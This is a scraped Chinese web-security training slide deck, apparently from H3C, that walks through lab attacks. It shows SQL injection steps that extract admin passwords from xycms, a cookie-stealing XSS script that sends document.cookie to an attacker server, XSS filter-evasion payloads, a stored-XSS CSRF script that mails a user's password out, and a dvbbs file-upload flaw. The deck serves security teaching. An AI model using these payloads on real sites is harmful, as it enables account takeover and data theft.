Web POST thepage jsp var 1page 1 html
![](https://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-1.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-2.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-3.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-4.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-5.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-6.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-7.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-8.jpg)
![Web攻击面不仅仅是浏览器中可见的内容 POST /thepage. jsp? var 1=page 1. html HTTP/1. 1 Accept: */* Referer: http: Web攻击面不仅仅是浏览器中可见的内容 POST /thepage. jsp? var 1=page 1. html HTTP/1. 1 Accept: */* Referer: http:](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-9.jpg)
Web攻击面不仅仅是浏览器中可见的内容 POST /thepage. jsp? var 1=page 1. html HTTP/1. 1 Accept: */* Referer: http: //www. myweb. com/index. html Accept-Language: en-us, de; q=0. 5 Accept-Encoding: gzip, deflate 黑客实际利用的 输入点 Content-Type: application/x-www-url-encoded Content-Lenght: 59 User-Agent: Mozilla/4. 0 访问资源名称 GET与POST参数 Referer与User Agent HTTP 方法 Cookie 更多输入点 直接可在浏览器 中利用的输入 Host: www. myweb. com Connection: Keep-Alive Cookie: JSESSIONID=0000 d. ITLGLqhz 1 d. Kk. PEtpo. Yqb. N 2 uid=fred&password=secret&pagestyle=default. css&action=login www. h 3 c. com 所有输入点 Ajax Web Service Flash客户端 Java Applet
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-10.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-11.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-12.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-13.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-14.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-15.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-16.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-17.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-18.jpg)
![SQL Injection之案例xycms l Step 1:手 判断注入点 à www. h 3 c. com http: //192. SQL Injection之案例xycms l Step 1:手 判断注入点 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-19.jpg)
SQL Injection之案例xycms l Step 1:手 判断注入点 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109’
![SQL Injection之案例xycms(续) l Step 1:手 判断注入点 à www. h 3 c. com http: //192. SQL Injection之案例xycms(续) l Step 1:手 判断注入点 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-20.jpg)
SQL Injection之案例xycms(续) l Step 1:手 判断注入点 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 and 1=1
![SQL Injection之案例xycms (续) l Step 1:手 判断注入点 à www. h 3 c. com http: SQL Injection之案例xycms (续) l Step 1:手 判断注入点 à www. h 3 c. com http:](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-21.jpg)
SQL Injection之案例xycms (续) l Step 1:手 判断注入点 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 and 1=2
![SQL Injection之案例xycms (续) l Step 1:手 判断注入点 à 后台SQL查询语句可能为:select * from [table_name] where id=[num] SQL Injection之案例xycms (续) l Step 1:手 判断注入点 à 后台SQL查询语句可能为:select * from [table_name] where id=[num]](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-22.jpg)
SQL Injection之案例xycms (续) l Step 1:手 判断注入点 à 后台SQL查询语句可能为:select * from [table_name] where id=[num] à select * from [table_name] where id=109’ //报错 à select * from [table_name] where id=109 and 1=1 //页面 显示正常 à select * from [table_name] where id=109 and 1=2 //页面 显示异常 à 综上可知,后台SQL语句未对id参数做过滤,因此存在注 入点 www. h 3 c. com
![SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à www. h 3 c. com http: //192. SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-23.jpg)
SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 order by 15
![SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à www. h 3 c. com http: //192. SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-24.jpg)
SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 order by 14
![SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à http: //192. 168. 100. 250/news_detail. asp? id=109 SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à http: //192. 168. 100. 250/news_detail. asp? id=109](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-25.jpg)
SQL Injection之案例xycms (续) l Step 2:利用二分法分析表字段数 à http: //192. 168. 100. 250/news_detail. asp? id=109 order by 15 //页面异常 à http: //192. 168. 100. 250/news_detail. asp? id=109 order by 14 //页面正常 à 因此SQL后台调用的表字段数为 14 à 下面利用union联合查询获取数据库敏感信息 www. h 3 c. com
![SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à www. h 3 c. com http: //192. SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-26.jpg)
SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin
![SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à www. h 3 c. com http: //192. SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-27.jpg)
SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin_user
![SQL Injection之案例xycms (续) l Step 4:利用联合查询判断字段名 à www. h 3 c. com http: //192. SQL Injection之案例xycms (续) l Step 4:利用联合查询判断字段名 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-28.jpg)
SQL Injection之案例xycms (续) l Step 4:利用联合查询判断字段名 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, admin, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin_user
![SQL Injection之案例xycms (续) l Step 4:利用联合查询判断字段名 à www. h 3 c. com http: //192. SQL Injection之案例xycms (续) l Step 4:利用联合查询判断字段名 à www. h 3 c. com http: //192.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-29.jpg)
SQL Injection之案例xycms (续) l Step 4:利用联合查询判断字段名 à www. h 3 c. com http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, admin, 3, password, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin_user
![SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à l http: //192. 168. 100. 250/news_detail. asp? SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à l http: //192. 168. 100. 250/news_detail. asp?](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-30.jpg)
SQL Injection之案例xycms (续) l Step 3:利用联合查询判断表名 à l http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, 2, 3, password, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin_user //页面正常,可知存在表admin_user Step 4:利用联合查询判断字段名 à http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, admin, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin_user //页面正常,可知表admin_user中存在字段admin à http: //192. 168. 100. 250/news_detail. asp? id=109 UNION SELECT 1, admin, 3, password, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 from admin_user //页面正常,可知表admin_user中存在字段 password www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-31.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-32.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-33.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-34.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-35.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-36.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-37.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-38.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-39.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-40.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-41.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-42.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-43.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-44.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-45.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-46.jpg)
![XSS案例 - 反射型XSS偷窃Cookie(续) l a. js内容如下: 攻击者Web服务器 URL var code; var target = "http: XSS案例 - 反射型XSS偷窃Cookie(续) l a. js内容如下: 攻击者Web服务器 URL var code; var target = "http:](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-47.jpg)
XSS案例 - 反射型XSS偷窃Cookie(续) l a. js内容如下: 攻击者Web服务器 URL var code; var target = "http: //192. 168. 230. 1/? "; 将字符编码传送 info=escape(document. cookie); target=target+info; 大小为 0的iframe,增 强隐蔽性 code="<iframe style='display: none; ' src="; code=code+target; code=code+" width=0 height=0></iframe>"; document. write(code); www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-48.jpg)
![XSS案例 - 反射型XSS偷窃Cookie (续) l Step 2 -2:本地试验: à 打开Apache/log/目录,查看access. log的修改时间就是刚 才; à 打开access. XSS案例 - 反射型XSS偷窃Cookie (续) l Step 2 -2:本地试验: à 打开Apache/log/目录,查看access. log的修改时间就是刚 才; à 打开access.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-49.jpg)
XSS案例 - 反射型XSS偷窃Cookie (续) l Step 2 -2:本地试验: à 打开Apache/log/目录,查看access. log的修改时间就是刚 才; à 打开access. log文件,检查最后一条是否如下: 192. 168. 230. 1 - - [24/Sep/2007: 18: 09: 17 +0800] "GET /? Snitz 00 User%3 DCookies%3 D%26 Pword%3 Dtest%26 Name%3 Dtest %3 B%20%252 Fbbs%252 Fpaging%3 Doutbox%3 Ddouble%3 B%20 isco okies%3 D 0%3 B%20 Board. List%3 DBoard. ID%3 DShow%3 B%20 ASPSE SSIONIDACDDASQD%3 DEEOFEIKDNMPMNBKKJMPGENGE%3 B% 20%252 Fbbs%252 Fstr. Select. Size HTTP/1. 1" 200 44 www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-50.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-51.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-52.jpg)
![XSS案例 - 反射型XSS偷窃Cookie(续) l Step 5 -1:盗窃Cookie à 切换回攻击者主机; à 观察access. log文件是否更新过,提取出最新一段内容。 192. 168. XSS案例 - 反射型XSS偷窃Cookie(续) l Step 5 -1:盗窃Cookie à 切换回攻击者主机; à 观察access. log文件是否更新过,提取出最新一段内容。 192. 168.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-53.jpg)
XSS案例 - 反射型XSS偷窃Cookie(续) l Step 5 -1:盗窃Cookie à 切换回攻击者主机; à 观察access. log文件是否更新过,提取出最新一段内容。 192. 168. 230. 2 - - [24/Sep/2007: 18: 22: 04 +0800] "GET /? Snitz 00 User%3 DCookies%3 D%26 Pword%3 Dadmin%26 Name%3 Dadmin%3 B%20 ASPSESSIONIDA CDDASQD%3 DGEOFEIKDEHDPHOLKLODCHPDL%3 B%20%252 Fbbs%252 Fstr. Select. Size HTTP/1. 1" 200 44 l Step 5 -2:管理员已经执行了恶意 代码并将其cookie发送给攻击者 à 由于经过escape编码,因此再利用 encode. htm进行一次解码; à 将上面记录的Snitz开始到Size结束的 内容拷贝到URL中,点击Decode; à 结果在ASCII Text中。 www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-54.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-55.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-56.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-57.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-58.jpg)
![过滤是最低效的方法 l 如果只采用过滤,很难考虑完备: <SCRIPT>alert("XSS"); </SCRIPT> <SCRIPT SRC=http: //bsp. com/xss. js></SCRIPT> <IMG SRC=Ja. Va. Sc. 过滤是最低效的方法 l 如果只采用过滤,很难考虑完备: <SCRIPT>alert("XSS"); </SCRIPT> <SCRIPT SRC=http: //bsp. com/xss. js></SCRIPT> <IMG SRC=Ja. Va. Sc.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-59.jpg)
过滤是最低效的方法 l 如果只采用过滤,很难考虑完备: <SCRIPT>alert("XSS"); </SCRIPT> <SCRIPT SRC=http: //bsp. com/xss. js></SCRIPT> <IMG SRC=Ja. Va. Sc. Ri. Pt: alert(" XSS" )> My. Space 即采用的过 滤 ¼script¾alert(¢XSS¢)¼/script¾ <IMG SRC=j a v a s c r i p t : a l e r t ( ' X S ' ) > <STYLE>@import'http: //bsp. com/xss. css'; </STYLE> <EMBED SRC=http: //bsp. com/xss. swf Allow. Script. Access="always"></EMBED> 更多实例可见:http: //ha. ckers. org/xss. html 综合起来有 91种HTML标签, 十多种编码方式, 数种对象类型… www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-60.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-61.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-62.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-63.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-64.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-65.jpg)
![CSRF案例 - 存储型XSS CSRF 下面演示存储型XSS实现CSRF的例子。在大家的 培训目录/CSRF/下有一个CSRF. txt文件,其内容是 一段不换行的Javascript代码。 l 后面会简单对此进行分析,首先我们来观察效果: l <DIV id=csrf style="BACKGROUND: CSRF案例 - 存储型XSS CSRF 下面演示存储型XSS实现CSRF的例子。在大家的 培训目录/CSRF/下有一个CSRF. txt文件,其内容是 一段不换行的Javascript代码。 l 后面会简单对此进行分析,首先我们来观察效果: l <DIV id=csrf style="BACKGROUND:](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-66.jpg)
CSRF案例 - 存储型XSS CSRF 下面演示存储型XSS实现CSRF的例子。在大家的 培训目录/CSRF/下有一个CSRF. txt文件,其内容是 一段不换行的Javascript代码。 l 后面会简单对此进行分析,首先我们来观察效果: l <DIV id=csrf style="BACKGROUND: url(javascript: eval(document. all. csrf. code))" code="var chr = find(document. body. inner. HTML, 'style=', 'BACKGROUND'); var J; main(); function main(){J=get. XMLObj(); http. Send('privatesend. asp? method=Topic', postcsrf, 'GET'); }function find(BF, BB, BC){var R=BF. index. Of(BB)+BB. length; var S=BF. index. Of(BC, R+1); return BF. substring(R, S); }function http. Send(BH, BI, BJ, BK){if(!J){return false; }J. onreadystatechange=BI; J. open(BJ, BH, true); if(BJ=='POST'){J. set. Request. Header('Content. Type', 'application/x-www-form-urlencoded'); J. set. Request. Header('Content-Length', BK. length); }J. send(BK); return true; }function postcsrf(){if(J. ready. State!=4){return; }var AU=J. response. Text; var AS=new Array(); AS['Method_Type']='Topic'; AS['cookies']='yes'; AS['Subject']='password'; AS['sendto']='test'; AS['User. Name']= find(AU, 'name='+chr+'User. Name'+chr+' type='+chr+'hidden'+chr+' value='+chr, chr); AS['Password']=find(AU, 'name='+chr+'Password'+chr+' type='+chr+'hidden'+chr+' value='+chr, chr); AS['Message']=AS['Password']; J=get. XMLObj(); http. Send('privatesend_info. asp', stop, 'POST', para ms. To. String(AS)); }function get. XMLObj(){var Z=false; if(window. XMLHttp. Request){try{Z=new 如果代码中有换行,在发表帖子时系统会 XMLHttp. Request(); }catch(e){Z=false; }} else if(window. Active. XObject){try{Z=new Active. XObject('Msxml 2. XMLHTTP'); }catch(e){try{Z=new 自动追加<BR><P>这样的字符,导致语 Active. XObject('Microsoft. XMLHTTP'); }catch(e){Z=false; }}}return Z; }function 法错误!stop(){return; }function params. To. String(AV){var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'; }var Q=escape(AV[P]); while(Q. index. Of('+')!=-1){Q=Q. replace('+', '%2 B'); }while(Q. index. Of('&')!=1){Q=Q. replace('&', '%26'); }N+=P+'='+Q; O++; }return N; }"></DIV> 此外,不换行也是缩短代码长度的好方法。 www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-67.jpg)
![CSRF案例 - 存储型XSS CSRF(续) 由于演示中利用到了XMLHTTP,因此需要确认浏览器允许Active. X控件的运 行。 IE在缺省状态下允许XMLHTTP 的执行,这个函数是Ajax与 SOAP技术的基石。 选中Internet,点 击Default,或者点 Custom逐项配置 只有少数经过安全加固的电脑 CSRF案例 - 存储型XSS CSRF(续) 由于演示中利用到了XMLHTTP,因此需要确认浏览器允许Active. X控件的运 行。 IE在缺省状态下允许XMLHTTP 的执行,这个函数是Ajax与 SOAP技术的基石。 选中Internet,点 击Default,或者点 Custom逐项配置 只有少数经过安全加固的电脑](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-68.jpg)
CSRF案例 - 存储型XSS CSRF(续) 由于演示中利用到了XMLHTTP,因此需要确认浏览器允许Active. X控件的运 行。 IE在缺省状态下允许XMLHTTP 的执行,这个函数是Ajax与 SOAP技术的基石。 选中Internet,点 击Default,或者点 Custom逐项配置 只有少数经过安全加固的电脑 才需要额外进行这部操作。 具体需要Enable的三项分别是: Active. X controls and plug-ins下面两项: Run Active. X controls and plug-ins=Enable; Script Active. X controls marked safe for scripting=Enable; Scripting下面一项: Active scripting=Enable www. h 3 c. com
![CSRF案例 - 存储型XSS CSRF(续) 代码主体部分如下: <DIV id=csrf style="BACKGROUND: url(javascript: eval(document. all. csrf. code))" code=“……"></DIV> CSRF案例 - 存储型XSS CSRF(续) 代码主体部分如下: <DIV id=csrf style="BACKGROUND: url(javascript: eval(document. all. csrf. code))" code=“……"></DIV>](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-69.jpg)
CSRF案例 - 存储型XSS CSRF(续) 代码主体部分如下: <DIV id=csrf style="BACKGROUND: url(javascript: eval(document. all. csrf. code))" code=“……"></DIV> Code中……是具体的代码,真正执行入口如下: var J; main(); 获取XMLHttp. Request 对象 function main(){ J=get. XMLObj(); http. Send('privatesend. asp? method=Topic', postcsrf, 'GET'); } 读取发消息页面内容, 并在读取完毕后转到 postcsrf函数 function http. Send(BH, BI, BJ, BK){ if(!J){return false; } J. onreadystatechange=BI; J. open(BJ, BH, true); if(BJ=='POST'){J. set. Request. Header('Content-Type', 'application/x-www-formurlencoded'); J. set. Request. Header('Content-Length', BK. length); } J. send(BK); return true; } www. h 3 c. com
![CSRF案例 - 存储型XSS CSRF(续) Postcsrf()在获取privatesend. asp请求返回内容后,在返回页面 中寻找password字段,并以此作为短消息主体,最后POST到 privatesend_info. asp; 之所以要先GET再POST,原因是POST表单中有些内容必须事 先通过GET获取。 function postcsrf(){ Chr=“,为了避免与 CSRF案例 - 存储型XSS CSRF(续) Postcsrf()在获取privatesend. asp请求返回内容后,在返回页面 中寻找password字段,并以此作为短消息主体,最后POST到 privatesend_info. asp; 之所以要先GET再POST,原因是POST表单中有些内容必须事 先通过GET获取。 function postcsrf(){ Chr=“,为了避免与](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-70.jpg)
CSRF案例 - 存储型XSS CSRF(续) Postcsrf()在获取privatesend. asp请求返回内容后,在返回页面 中寻找password字段,并以此作为短消息主体,最后POST到 privatesend_info. asp; 之所以要先GET再POST,原因是POST表单中有些内容必须事 先通过GET获取。 function postcsrf(){ Chr=“,为了避免与 if(J. ready. State!=4){return; } code外的””冲突,用 var AU=J. response. Text; 变量代替 var AS=new Array(); AS['Method_Type']='Topic'; 具方法:在返回的 网页中搜索特定的内 AS['cookies']='yes'; 容 AS['Subject']='password'; AS['sendto']='test'; AS['User. Name']=find(AU, 'name='+chr+'User. Name'+chr+' type='+chr+'hidden'+chr+' value='+chr, chr); AS['Password']=find(AU, 'name='+chr+'Password'+chr+' type='+chr+'hidden'+chr+' value='+chr, chr); AS['Message']=AS['Password']; http. Send('privatesend_info. asp', stop, 'POST', params. To. String(AS)); } www. h 3 c. com
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-71.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-72.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-73.jpg)
![文件上传之案例dvbbs l Dvbbs是国内著名的开源论坛,其 7. 2 SP 2版本以下 都存在一个严重的任意文件上传漏洞。漏洞点在用 户修改个人资料时允许从本地上传图像做头像,主 要代码片段如下(upfile. asp): ‘将提交表单的filepath字段赋值给form. Path变量 form. 文件上传之案例dvbbs l Dvbbs是国内著名的开源论坛,其 7. 2 SP 2版本以下 都存在一个严重的任意文件上传漏洞。漏洞点在用 户修改个人资料时允许从本地上传图像做头像,主 要代码片段如下(upfile. asp): ‘将提交表单的filepath字段赋值给form. Path变量 form.](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-74.jpg)
文件上传之案例dvbbs l Dvbbs是国内著名的开源论坛,其 7. 2 SP 2版本以下 都存在一个严重的任意文件上传漏洞。漏洞点在用 户修改个人资料时允许从本地上传图像做头像,主 要代码片段如下(upfile. asp): ‘将提交表单的filepath字段赋值给form. Path变量 form. Path=upload. form("filepath") …… ‘检查文件扩展名,必须是图像文件 if Check. File. Ext(file. EXT)=false then …… ’利用form. Path变量生成最终保存在服务器的文件名 filename=form. Path&year(now)&month(now)&day(now)& hour(now)&minute(now)&second(now)&ran. Num&". "&file Ext …… ‘存盘 file. Save. To. File Server. mappath(filename) www. h 3 c. com 用户输入 filepath form. Path filename 存盘
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-75.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-76.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-77.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-78.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-79.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-80.jpg)
![](http://slidetodoc.com/presentation_image_h2/6d8a9e3c0ec1df52ba84730f5be27da3/image-81.jpg)